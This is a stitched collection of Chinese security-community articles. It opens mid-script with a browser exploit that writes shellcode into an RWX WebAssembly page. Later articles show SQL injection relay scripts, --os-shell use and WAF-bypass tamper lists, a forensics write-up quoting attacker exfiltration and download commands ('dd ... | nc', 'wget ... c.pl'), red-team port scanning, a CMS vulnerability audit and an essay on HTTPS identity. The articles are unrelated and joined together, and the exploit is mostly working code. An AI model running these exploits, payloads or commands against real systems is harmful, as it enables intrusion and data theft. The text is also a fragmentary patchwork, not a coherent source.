let view = new DataView(buf);
let backingsotre = addrof(buf)+0x20;
backstoreWrite(backingsotre,addr);
view.setBigInt64(0,BigInt(value),true);
}
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let rwx_page_addr = arbRead(addrof(wasm_instance)-1+0x88);
console.log("[+]RWX Wasm page addr: " + hex(rwx_page_addr));
function copy_shellcode(addr, shellcode)
{
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20;
backstoreWrite(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
console.log("[+]Copying shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[+]Popping calculator");
f(); | 社区文章 |
# 前言
随着最近几年安全行业的兴起，市场关注度的不断提升，安全防护的软件也在不断提升,不在是那个随便找一个站就能马上发现漏洞了，没有以前那么多所谓的“靶场”了，在这次的实战中遇到的SQL注入与其他的有点不一样，需要考虑的东西很多，写得不好的地方师傅们勿喷。
# 实战演示
通过前期的信息收集发现存在注入的页面如下：
直接使用sqlmap跑发现出现如下错误：
python2 sqlmap.py -u "http://xxxx?&daxxtae=null¶me=xxxxxx" --batch --delay=1 --random-agent
___
__H__
___ ___["]_____ ___ ___ {1.5.4.7#dev}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:12:10 /2021-10-10/
[10.12.10] [INFO] parsing HTTP request from '49'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]Y
[10:12:10] [INFO] testing connection to the target URL
[10:12:10] [CRITICAL] can't establish SSL connection
一看无法建立SSL连接，好不容易发现一个注入点，难道就这样放弃了吗？先百度一波，看看SSL证书原理，就用一张图来理解更直接明了。
那么遇到这样的情况要怎么绕呢？在sqlmap中没有绕过SSL证书的参数，思考了很长时间，终于想起来原来貌似有一个中转注入。这里要解决的第一个问题是有哪些脚本语言能够在请求网址时忽略SSL证书，第二个问题是我还需要使用sqlmap中的payload，这两个都要满足，通过查询了解到PHP可以使用参数来忽略SSL证书，由于并不是搞开发的，所以这里还是思考了很长时间，先来理解一下中转注入的原理吧。
## 中转注入的原理
首先我们我们来分析一下sqlmap中转注入的原理，如下图：
为了让大家更加容易解，先使用简单的脚本演示一遍，演示代码如下：
<?php
$payload=base64_encode($_GET['x']);//对中转脚本接收的参数进行base64编码
echo $payload
$urls="http://xxx/xxxx?q=1$payload";//对请求的网址拼接base64编码的字符串
file_get_contents($urls);//请求目标网站
echo $urls;
?>
网上随便找需一个后面有参数的网站，添加到$urls变量中，将上述代码放在本地服务器中，然后访问，可以看到成功请求到我们添加的网站
使用sqlmap跑一下,设置一下代理使用burp来抓包
python2 sqlmap.py -u "http://127.0.0.1/zhongzhuan.php?x=1" -v 3 --proxy=http://127.0.0.1:8080
成功看到各种payload
burp抓包的结果
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","/**/",$id);
$id=str_replace("=","%3D",$id); //这些编码机制可以自己的需求设定，毕竟实战的环境变换多样
$url = "http://xxxx?&daxxtae=null¶me=$id";
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回，不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中，设置这个选项为一个非零值
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
此时中转脚本已经写好了，用sqlmap跑，没想到呀，既然流量有限制，就算请求延迟调得很慢，还是直接将我的ip给封了，此时又是一个漫长的过程，又要继续思考了，在sqlmap中有代理设置参数，哈哈哈这都知道，但是试了试一试不可以，一直思考呀，首先我们借助了中转脚本，先请求的是我们的本地服务器，你说外网的代理服务器直接访问我本地服务器这是一个不现实的问题，最主要是我没有公网服务器，不然就好办了，所以现在需要思考两个问题，首先我要用到中转脚本过证书问题，还要能够使用代理，在PHP代码上使用代理池设置。此时sqlmap先请求我们中转脚本（并没有用代理地址），中转脚本借助设置的代理地址迟访问目标网页。
现在代码修改成了如下：
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url = "http://xxxx?&daxxtae=null¶me=$id";
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_PROXY, 'proxy.xxxx.com'); //代理服务器地址
curl_setopt($ch, CURLOPT_PROXYPORT, '8080'); //代理服务器端口
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
在使用sqlmap跑的时候最好先本地测试一下，经过了20多分钟的扫描终于算是出东西了
直接看一下能否写shell，搞个高危，运气就是这么好
python2 sqlmap.py -u "http://xxxx?&daxxtae=null¶m=xxx" --batch --delay=1 --random-agent --os-shell
成功拿到了dba权限
成功执行命令，不过是真的慢，可能是有防护软件原因吧。
在这里问题又来了，要是post型注入又该怎么办呢？上面的脚本似乎不在使用思考了很长时间，但是也没有在实际中遇到，所以这里就想本地尝试一次。
# post型中转注入
在注入天书中有post型注入，随便选了一个11关卡，抓取less-11关的包，注入点在登录框这里。
注入点为
uname=admin&passwd=hhh&submit=Submit
构造中转脚本如下：
<?php
$url = "http://192.168.1.104/sqli/Less-11/index.php";
$sql = $_GET[s];//获取中转脚本传过来的payload
$s = urlencode($sql);
$params = "uname=admin$s&passwd=aa";
$ch = curl_init();// 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址，可以在用curl_init()函数初始化时设置这个选项
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回，不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中，设置这个选项为一个非零值
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载，下线，或者崩溃等可能状况。
curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
// 抓取URL并把它传递给浏览器
$output = curl_exec($ch);
// 关闭cURL资源，并且释放系统资源
curl_close($ch);
$a = strlen($output);
//echo $a;
if($a==2846){
echo "1";
}else{
echo "2";
}
使用sqlmap进行注入
首先注入我们的中转脚本
中转脚本通过获取的payload请求目标网站
成功跑出数据库
# sqlmap绕过WAF的思路总结
**1、设置请求头**
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
**2、设置代理**
--proxy=http://127.0.0.1:8080
**3、设置延迟**
--delay=1
**4、利用--tamper参数中的编码脚本**
常见编码搭配方式
普通tamper搭配方式:
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
数据库为MSSQL的搭配方式:
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
数据库为MySql的搭配方式:
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
**5、自己编写中转脚本** | 社区文章 |
## 0x01 题目及样本来自honeynet
本次镜像来自开源组织honeynet的一次竞赛项目，目的是解答8个问题，在接下来的分析中会提及。
## 0x02
提供了三个文件
都解压开来
图中这三个img格式的镜像文件就是我们需要分析的重点
首先安装volatility，待会儿会用到
查看帮助信息
说明可以使用了
### 1.什么服务以及那个账户触发了警报
将镜像挂载到mnt
查看日志
将结果往下拉，可以看到大量的无效登录
可以分析出ssh服务被暴力攻击，攻击者攻击的账户名是ulysses
### 2.在目标服务器上运行着哪种操作系统？（包括OS,CPU等信息）
输入下图命令
可以看出是debian发行版5.0
然后去查看dmesg
结果如下
可以看到具体的版本信息，系统内核版本2.6.26
内存信息
缓存信息等
在使用volatility进行分析前，必须指定相应的file，由前面得出的linux发行版的信息，用网上公开分享的proifle，本次需要使用debian5.0的
将下载得到的profile放在指定目录volatility/plugins/overlays/linux
下
运行volatility，看看是否正确加载我们添加的profile
第一行就是添加的
现在回来，第二个问题还没结束,可以使用进一步查看CPU的相关信息
### 3目标服务器上哪些进程正在运行
查看导出的文件
### 4.攻击者的ip和目标主机的ip
分析这个问题可以从日志入手
回到前面挂载的镜像
查看maillog
再查看rejectlog
mail log和reject日志显示攻击者在192.168.56.1和192.168.56.101处发送的邮件。
再查看authlog
auth.log还显示攻击者在192.168.56.1上多次尝试ssh登录。
另外在使用volatility分析连接时，我们输入下图的命令
可以看到目标主机ip 192.168.56.102和攻击主机 192.168.56.1在4444和8888端口建立了连接
### 5.什么服务被攻击了
从前面exim4的mainlog日志就可以看到攻击者发送的电子邮件数据太大并且似乎包含一些恶意命令，如调用服务器192.168.56.1来下载文件c.pl和rk.tar等
可见，被攻击的服务是exim4
### 6.对于目标服务器发动的是什么攻击
通过搜索引擎查询可以判断出是关于Exim4的缓冲区溢出攻击，CVE-2010-4344
详情可参考
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4344>
### 7.攻击者有哪些收获？
按照/root/.bash_history中观察到的历史记录
很明显攻击者通过下面提到的命令发送了驱动器sda1的整个副本
dd if=/dev/sda1 | nc 192.168.56.1 4444
### 8.攻击者下载了哪些文件，并分析
还是由上面的分析可以知道攻击者已经下载了两个文件c.pl和rk.tar，两个文件都在/ tmp中找到。
对c.pl的简单分析表明，它是一个perl脚本，用于创建一个c程序，该程序编译后提供一个支持SUID的可执行文件并打开一个后门并向攻击者传输信息。
攻击者下载c.pl并且编译的SUID在端口4444中打开到192.168.56.1的连接，
wget <http://192.168.56.1/c.pl> -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444
换种方式，使用volatility也可以得出这一结论
rk.tar是一个压缩形式的dropbear rootkit。 解压缩文件夹包含以下内容
进入解压后的文件夹
看一下shell脚本
是典型的用于监听端口和正在被设置的家目录的变量文件
再看看install.sh
install.sh创建vars.sh中指定的rkhome目录。
它将自己添加到要启动的所有init文件中，并在端口44965中作为后门shell启动dropbear。
iptables -I OUTPUT 1 -p tcp --dport 45295 -j
DROP，显示攻击者试图打开防火墙接受入站连接，但iptables的语法显示他已经删除了所有出站连接。 它应该是入站并接受45295的连接。
### 9.请列出网络连接及相应的状态（listen、established、close）
Established :
Listen
Close | 社区文章 |
# 老赛棍版端口，扫别人没扫到的资产
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**前言：**
本人参加了2020届A市、B市及C市的hvv，此次分享下在地市hvv中Goby的使用技巧。本人为合法合规扫描！请大家不要做未授权测试！请大家不要做未授权测试！请大家不要做未授权测试！
## 0x001 获取目标信息
因为某些敏感原因，这部分干脆以长沙为例，仅做查询方式参考。首先FOFA搜：region=”Hunan” &&
city=”Changsha”，全部转换为C段后去重，就得到该城市的大致网段：
region="Hunan" && city="Changsha"
city="Changsha" && title="长沙"
……
## 0x002 探测目标资产
然后……
### 2.1 输入老赛棍版常见端口
**对于hvv来说，82，88，7002，8888，9080 等是hvv常见“影子资产”（泛指防守方未能了解或掌握到的互联网资产）端口。**
看了下Goby默认的端口模式总不太全，咨询社群里小姐姐说可以填 1-65535 扫全端口，但实际使用中，整段的扫全端口，效率特别低，不太现实。
Goby企业模式的端口如下：
21,22,23,25,53,U:53,80,81,110,111,123,U:123,135,U:137,139,U:161,389,443,445,465,500,515,U:520,U:523,548,623,636,873,902,1080,1099,1433,1521,
U:1604,U:1645,U:1701,1883,U:1900,2049,2181,2375,2379,U:2425,3128,3306,3389,4730,U:5060,5222,U:5351,U:5353,5432,5555,5601,5672,
U:5683,5900,5938,5984,6000,6379,7001,7077,8080,8081,8443,8545,8686,9000,9042,9092,9100,9200,9418,9999,11211,27
**重点来了→修改为老赛棍版端口，这样就能扫到别人没扫到的资产：**
web：80-89,442-443,1080,1214,5000-5010,5222,5900,5938,5984,6000-6010,6379,7000-7010,7070-7080
8000-8010,8080-8090,8222,8443,8545,8686,8888,9000-9100,9180,9200,9418,9999,10000,11115
以上端口主要针对Web资产，去掉了445，3389等传统”必扫“端口，外部打点扫这些端口没有多大意义，不如精简掉。
### 2.2 实测效果
在A市实测效果：
在B市实测效果：
在C市实测效果：
## 0x003 二次漏洞扫描
实战过程中，扫描完成后可以使用“漏洞扫描”功能，针对已发现的资产再扫一遍，往往还有惊喜。在B市二次漏扫效果：
## 0x004 手工捡漏
两轮扫描之后，导出资产url，扔VPS上用其他扫描器再跑一遍（避免与本地同IP，影响手工测试），本地一边手工看，一边等结果就行。以A市为例：
附一个某客户在内网检查项目中利用Goby扫描的结果（打死我也不承认他们hvv时在服务器上装了Goby）：
简直白给……
## 0x005 小结
最后祝各位师傅挖啥有啥，日啥成啥！！！
> 文章来自Goby社区成员：limb0，转载请注明出处。
>
>
>
> 下载Goby内测版，请关注公众号：Gobysec
>
> 下载Goby正式版，请访问官网：<http://gobies.org> | 社区文章 |
### 0x00 前言
前段时间在测试某商城系统时,发现使用了某通用CMS，本着学习的态度，于是下载下来对源码进行分析。
因为自己懒得搭环境，喜欢实战环境，所以直接找官方Demo，因为漏洞提交至今未修复，为了不涉及某商城系统，故对截图进行了打码。
### 0x01 漏洞分析
**远程代码执行**
打开源码包，看到这个，struts2架构，远古时期，包都不用解，一看就知道ST2-16。
不搭环境，带上工具，直接官网Demo
**任意文件上传**
struts2架构，相关页面关联信息都写在了xml里面，找起来方便
我们看看上传页面的前端文件upload.jsp
<script type="text/javascript">
$(function() {
var appType = $('#appType').val();
var url = ctx + '/FileUpload!save.do?appType='+appType;
var fileDesc = '';
var fileExt = '';
if(appType == 'magazine'){
fileDesc = '支持格式：doc/docx/pdf/rar/zip/txt.';
fileExt = '*.doc;*.docx;*.pdf;*.rar;*.zip;*.txt';
}else{
fileDesc = '支持格式:jpg/gif/jpeg/png/bmp.';
fileExt = '*.jpg;*.gif;*.jpeg;*.png;*.bmp';
}
$("#fileupload").uploadify({
'uploader' : ctx + '/scripts/framework/uploadify/uploadify.swf',
'script' : url, //servlet的路径或者.jsp
'cancelImg' : ctx + '/scripts/framework/uploadify/cancel.png',
'fileDataName' : 'fileupload', //必须
'queueID' : 'fileQueue',
'auto' : false, //选定文件后是否自动上传，默认false
'multi' : false, //是否允许同时上传多文件，默认false
'simUploadLimit' : 1, //一次同步上传的文件数目
'sizeLimit' : 2000000, //设置单个文件大小限制，单位为byte
'queueSizeLimit' : 5, //限制在一次队列中的次数（可选定几个文件）。默认值= 999，而一次可传几个文件有 simUploadLimit属性决定。
'fileDesc' : fileDesc, //如果配置了以下的'fileExt'属性，那么这个属性是必须的
'fileExt' : fileExt, //允许的格式
onComplete: function (event, queueID, fileObj, response, data) {
var arrTemp = response.split(',');
var idStr = arrTemp[0];
var picPath = arrTemp[1];
if('false'==idStr){
idStr = '';
alert("文件:" + fileObj.name + "上传失败");
}else{
alert("文件:" + fileObj.name + "上传成功");
if('Good'== appType || 'GoodAlbum' == appType || 'magazine' == appType || 'Packaging' == appType || 'Promote' == appType || 'promotionActivity'==appType || 'gift'==appType || 'AdvertisePic'==appType ||'goodType' ==appType ||'GoodBrand'==appType || 'Customer'==appType || 'costomer'==appType || 'Ware' == appType){
parent.upload.close(idStr,picPath);
}else if('GoodExtend' == appType || 'Advertise' == appType || 'magazinePic' == appType || 'Information' == appType|| 'GreetingCard' == appType|| 'promotePic' == appType || 'promotionActivityPic' == appType || 'StoreSet' == appType || 'giftPic' == appType ){
window.returnValue = picPath;
window.close();
}
}
},
onError: function(event, queueID, fileObj) {
alert("文件:" + fileObj.name + "上传失败");
},
onCancel: function(event, queueID, fileObj){
//alert("取消了" + fileObj.name);
}
});
});
</script>
文件对appType进行判断，继而进行处理，对于我们来讲，appType在这里没有实质性的作用，只是选择上传的类型目录而已。
来看下处理上传的文件，在文件FileUploadAction.class中
public void save(){
String folderPath = Static.APACHE_CONTEXT_PATH + Static.FILE_PATH;
Date now = new Date();
String nowStr = DateUtil.date2Str(now, "yyyyMMdd");
now = DateUtil.str2Date(nowStr, "yyyyMMdd");
folderPath = folderPath + "/" + this.appType + "/" + nowStr;
logger.info("relativePath:" + folderPath);
String idStr = "";
String imgPath = "";
String fileName = "";
boolean isOk = true;
if ((this.fileupload != null) && (this.fileupload.length > 0))
{
logger.info("fileupload.length:" + this.fileupload.length);
File savedir = new File(folderPath);
if (!savedir.exists()) {
savedir.mkdirs();
}
for (int i = 0; i < this.fileupload.length; i++)
{
fileName = this.fileuploadFileName[i];
String postfix = fileName.substring(fileName.lastIndexOf(".") + 1);
logger.info("uploadFileName[" + i + "]=" + fileName);
String id = this.fileUploadService.makeId();
idStr = idStr + (i == 0 ? id : new StringBuilder(",").append(id).toString());
String fileNewName = id + "." + postfix;
File savefile = new File(savedir, fileNewName);
logger.info("save file:" + fileNewName + " to folder:" + savedir.getPath());
try
{
FileUtils.copyFile(this.fileupload[i], savefile);
FileUpload fileUpload = new FileUpload();
fileUpload.setId(id);
fileUpload.setAppType(this.appType);
fileUpload.setCreateTime(now);
fileUpload.setPostfix(postfix);
fileUpload.setOriginalName(fileName);
StringBuffer relativePath = new StringBuffer();
relativePath.append(Static.FILE_PATH)
.append("/").append(this.appType)
.append("/").append(nowStr)
.append("/").append(id).append(".").append(postfix);
fileUpload.setRelativePath(relativePath.toString());
imgPath = relativePath.toString();
this.fileUploadService.insert(fileUpload);
}
catch (Exception e)
{
if (isOk) {
isOk = false;
}
logger.error("error when copyFile,savefile:" + savefile, e);
}
}
}
else
{
logger.warn("fileupload is null or fileupload.length <=0");
isOk = false;
}
if (!isOk) {
responseFlag(isOk);
} else if (this.appType.equals("News")) {
responseFlag(imgPath);
} else if (this.appType.equals("OrderGood")) {
responseFlag(idStr + ',' + fileName);
} else {
responseFlag(idStr + ',' + imgPath);
}
首先对appType和目录进行了拼接，也就是上传的路径
folderPath = folderPath + "/" + this.appType + "/" + nowStr;
判断文件长度大小
if ((this.fileupload != null) && (this.fileupload.length > 0))
然后取后缀，到这里为止，文件都没有对上传的内容进行任何判断,后缀也是一样，直接读取拼接，不做判断。
加之在文件中也未发现任何的登录权限验证，所以造成了前端无限制任意文件上传。
String postfix = fileName.substring(fileName.lastIndexOf(".") + 1);
String fileNewName = id + "." + postfix;
下面就是存储过程了，最后返回上传结果。附上传成功并getshell截图。
**存储型XSS**
这个系统好像通篇没有过滤XSS的脚本，不知道有没有过滤文件反正我没有看到.可以在商品收货地址或商品展示处等地方插入XSS。
因为通篇XSS，所以就挑一个来说
在jsp文件edit_SysUser.jsp中，这个是用于修改个人信息的，定位源码SysUserAction.class
下面是两个重要函数
首先edit()从jsp页面获取到登录用户的信息，对信息进行修改,save()函数接收修改的信息，对用户信息进行存储更新，在文件里面，我们没有看到任何的过滤函数存在。
省略无关代码......
public String edit(){
SysUser loginMan = getSessionUserInfo();
if (this.sysUser == null) {
this.sysUser = new SysUser();
}
String id = this.sysUser.getId();
if (StringUtils.isBlank(id))
{
super.initModel(true, this.sysUser, loginMan);
}
else
{
this.sysUser = ((SysUser)this.sysUserService.getModel(id));
super.initModel(false, this.sysUser, loginMan);
}
this.sysRoleList = this.sysRoleService.select(null);
if (this.sysRoleList == null) {
this.sysRoleList = new ArrayList();
} else {
for (int i = 0; i < this.sysRoleList.size(); i++) {
if ("admin".equals(((SysRole)this.sysRoleList.get(i)).getCode()))
{
this.sysRoleList.remove(i);
break;
}
}
}
return "edit_SysUser";
省略无关代码......
public void save(){
try
{
String id = this.sysUser.getId();
String roleId = this.sysUser.getRoleId();
if (StringUtils.isNotBlank(roleId))
{
SysRole sysRole = (SysRole)this.sysRoleService.getModel(roleId);
this.sysUser.setRoleCode(sysRole.getCode());
this.sysUser.setRoleName(sysRole.getName());
}
if (StringUtils.isBlank(id)) {
this.sysUserService.insert(this.sysUser);
} else {
this.sysUserService.update(this.sysUser);
}
responseFlag(true);
}
catch (Exception e)
{
responseFlag(false);
logger.error("error occur when save model!", e);
}
}
测试结果，后台和前台
**任意帐号密码修改**
漏洞发生在app\front\action\UserManageAction.class文件中
首先在重置密码处会先进行一次帐号验证，也就是邮箱地址验证是否正确，然后会返回注册手机号码（下面会用到），代码就不贴了，这个不是重点，重点是sendEmail()这个函数。
首先会获取提交过来的手机号码和邮箱地址
this.customer = getSessionCustomerInfo();
String toMail = this.customer.getEmail();
String registerName = this.customer.getCode();
接下来,直接设置发送邮件的帐号密码，url构造随机数ID连接。
然后就是理想的发送邮件验证重置密码连接了。
String userName = "[email protected]";
String password = "XXXXX";
String registerId = Math.random() * Math.random();
String url = "http://localhsot:8080/frontLogin.do?registerId=" + registerId;
MimeMessage msg = new MimeMessage(session);
msg.setFrom(from);
msg.setSubject("邮箱验证");
msg.setSentDate(new Date());
msg.setContent("<a href='" + url + "'>点击" + url + "</a>", "text/html;charset=utf-8");
msg.setRecipient(Message.RecipientType.TO, to);
Transport.send(msg);
直接构造和修改邮箱，即可修改密码。
[http://www.xxx.com/sendEmail.do?customer.code=135xxxxxxx6&[email protected]](http://www.xxx.com/sendEmail.do?customer.code=135xxxxxxx6&[email protected])
### 0x02 最后
分析出了这几个漏洞和看了官网后，越发觉得这家公司为什么还能活着？
因为代码通用，影响旗下所有电商系统。
吐槽：一个软件卖到9000+，3年不升级。还有谁？ | 社区文章 |
# 【技术分享】后HTTPS时代：网站身份认证比加密更重要
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
HTTPS加密应用在过去两年间取得了惊人成果，全球互联网超50%的网站流量启用HTTPS加密。然而，100%的加密环境，就等于安全吗？借助缺乏真实身份认证的免费DV
SSL证书，越来越多的恶意软件、钓鱼网站转向100%加密，从而逃避安全工具检测、欺骗用户信任，而浏览器UI标识混淆多变，使用户困惑。加密概念得到广泛普及的“后HTTPS时代”，网站身份认证比加密更重要！如果你正在与欺诈网站通信，加密又有什么意义呢？
**加密的恶意软件站点和钓鱼网站**
浏览器厂商极力推动HTTPS加密成为新常态；免费DV
SSL证书以及证书颁发/安装自动化等产品工具，使得HTTPS加密更易于实施；SEO排名优先，鼓励更多网站加入HTTPS行列，这些都是HTTPS加密取得的积极进展。
然而，HTTPS加密应用的攀升，使得恶意软件得以隐藏在加密流量中，更难被发现和阻止，今年近一半的网络攻击，使用隐藏在加密流量中的恶意软件逃避检测；DV
SSL证书正在成为欺诈者的“好搭档”，仿冒域名、身份匿名、免费、挂锁、没有UI警告，DV
SSL证书给网络钓鱼网站塑造了“看起来很真实”的假象，让受害者更加难以辨别。
图一：使用免费DV SSL证书的钓鱼网站
**DV SSL证书的缺陷**
SSL证书设计之初被赋予两个重要使命，一方面是实现数据加密传输，保护数据安全，另一方面是进行服务器身份认证，确保网站身份真实可信。由于网站身份认证成本较高，最初的SSL证书应用推广进程缓慢。DV
SSL证书简化了身份认证流程，仅验证域名即可颁发证书，大大降低了证书成本，受到市场广泛欢迎。
但是，经过简化的DV SSL证书仅起到数据传输加密的作用，完全失去了SSL证书原有的身份认证功能。存在功能缺陷的DV
SSL证书，虽然推动了HTTPS加密的广泛应用，但也成为了黑客利用的工具。普及DV
SSL证书不仅无法实现互联网安全可信，反而为网络攻击提供了隐藏之地，让互联网安全更加岌岌可危。
**浏览器UI标识的混淆多变**
大多数普通用户（非极客或非IT人士）看到HTTPS时，都给予强烈的信任，即使是仅为网站提供加密的DV SSL证书，也被认为与使用OV SSL证书或EV
SSL证书的网站具有同等信任水平。为什么会出现这样的误解？
因为现在的 **浏览器用户界面(UI)在证书展示方面存在很大问题** ：
1、浏览器对DV SSL证书和OV SSL证书展示的UI相同，用户无法区别；
2、在Chrome未来的版本中，EV SSL证书的UI可能降级为和OV/DV SSL证书一样；
3、各浏览器UI的安全标识不统一；
4、个别浏览器经常更换UI，用户无法跟上步伐；
5、增加很多普通用户无法理解的UI警告（小问题、主要问题）；
6、大多数移动设备没有任何加密符号。
这些问题使得用户对于浏览器UI安全标识的含义感到非常困惑（图二至图四展示了令人困惑的浏览器UI案例）。
图二：各浏览器UI的安全标识
图三：各浏览器对HTTP/DV/OV/EV的展示方案
图四：各浏览器对HTTPS小错误和主要错误的展示方案
基于市场对HTTPS和安全挂锁的宣传，用户便认为所有带挂锁和HTTPS的网站都是安全的。然而，事实并非如此！当钓鱼网站paypal.com.summary-spport.com仅通过域名验证获取到合法的DV SSL证书后，Chrome直接给出了“安全HTTPS”的标识。
图五：使用DV SSL证书的钓鱼网站，Chrome标记为“安全”
谷歌去年6月的新版UI方案，虽然是逐步淘汰HTTP的良好开始，但继续执行强化“安全/不安全”两种状态的UI、弱化身份认证信息甚至可能让EV
SSL证书UI消失的展示方案，那么未来真实的PayPal登录页面和钓鱼页面将看起来是一样的（都显示“安全”），看不出有任何区别！
图六：EV绿色地址栏取消后，真假PayPal网站将看起来一样
**仅靠HTTPS已经不够，网站身份认证比加密更重要**
过去HTTPS被视为网站可信度的标志，获取有效的HTTPS证书对于典型的钓鱼网站来说太难，但现在HTTPS已经不再是识别钓鱼网站的有用信号，因为恶意网站支持HTTPS已经是再寻常不过的事情。
**如果你不知道正在跟谁通信，加密就失去了意义！和错误的通信方通信，如果加密了危害更大。**
网站身份信息才是反钓鱼、反恶意网站的最佳防御机制，由于OV和EV
SSL证书申请需要完成严格的身份验证，用户身份是可以追溯的。所以，几乎没有恶意网站或钓鱼网站使用OV或EV
SSL证书。2016年颁发的证书中，25%是包含网站身份信息的OV和EV
SSL证书，这么多网站的真实身份信息被大多数浏览器隐藏起来了，没有直观展示，需要用户多次点击才能获取。为什么不使用通过可信第三方验证的身份数据来阻止网上诱骗和恶意软件网站呢？
图七：2016年各类型证书占比
非常遗憾的是，目前的浏览器UI却往相反的方向发展，对身份认证信息的弱化展示，强化“安全”与“不安全”的两极化标识，不仅不利于用户的判断，而且使得真正有价值的身份认证信息被浪费，无法帮助用户方便地识别欺诈网站。
**公开支持网站身份原则（Endorse Website Identity）**
网站身份比加密更重要，充分利用网站身份信息来抵御恶意站点和钓鱼网站，需要全球CA的合作，更需要浏览器和网站所有者的支持。浏览器应该将包含网站身份信息的证书（OV和EV
SSL证书）与匿名证书（DV
SSL证书）区分开来，采用通用的浏览器UI安全标识显示网站身份，并教育用户认识安全标识的含义。对此，CA安全理事会(CASC)发起了一项“[支持网站身份](https://casecurity.org/identity/)”的活动，倡导CA、浏览器和网站所有者公开支持网站身份五项原则：
1、TLS/SSL服务器证书中的身份应该被浏览器用作提升用户安全的媒介
2、CA应该鼓励用户申请和部署更高身份认证级别的证书
3、OV SSL证书应该得到不同于DV SSL证书的浏览器UI，向用户展示网站身份信息
4、EV SSL证书应该继续获得独特的绿色地址栏的浏览器UI，区别于OV和DV，向用户展示更高的安全性
浏览器应该商定通用UI安全标识，避免频繁更改UI，并与其他方合作，教育用户了解通用UI的安全标识的含义，提升用户安全性。
**全球各大CA(包括沃通CA)都已经公开支持网站身份原则。**
如果您对网站身份原则表示支持，欢迎登录CASC网站签署支持，共同铸造更加安全的互联网环境。欲了解更多信息请点击[这里](https://casecurity.org/identity/)。
注：本文由[沃通CA](http://www.wosign.com/news/2017-0228-01.htm)根据CAB Forum主席Kirk
Hall在RSA
2017的[演讲稿](http://www.wosign.com/news/RSAC%202017%20PDAC%20W10%20Hall%20presentation%20\(2-10-2017\).pdf)编译整理 | 社区文章 |
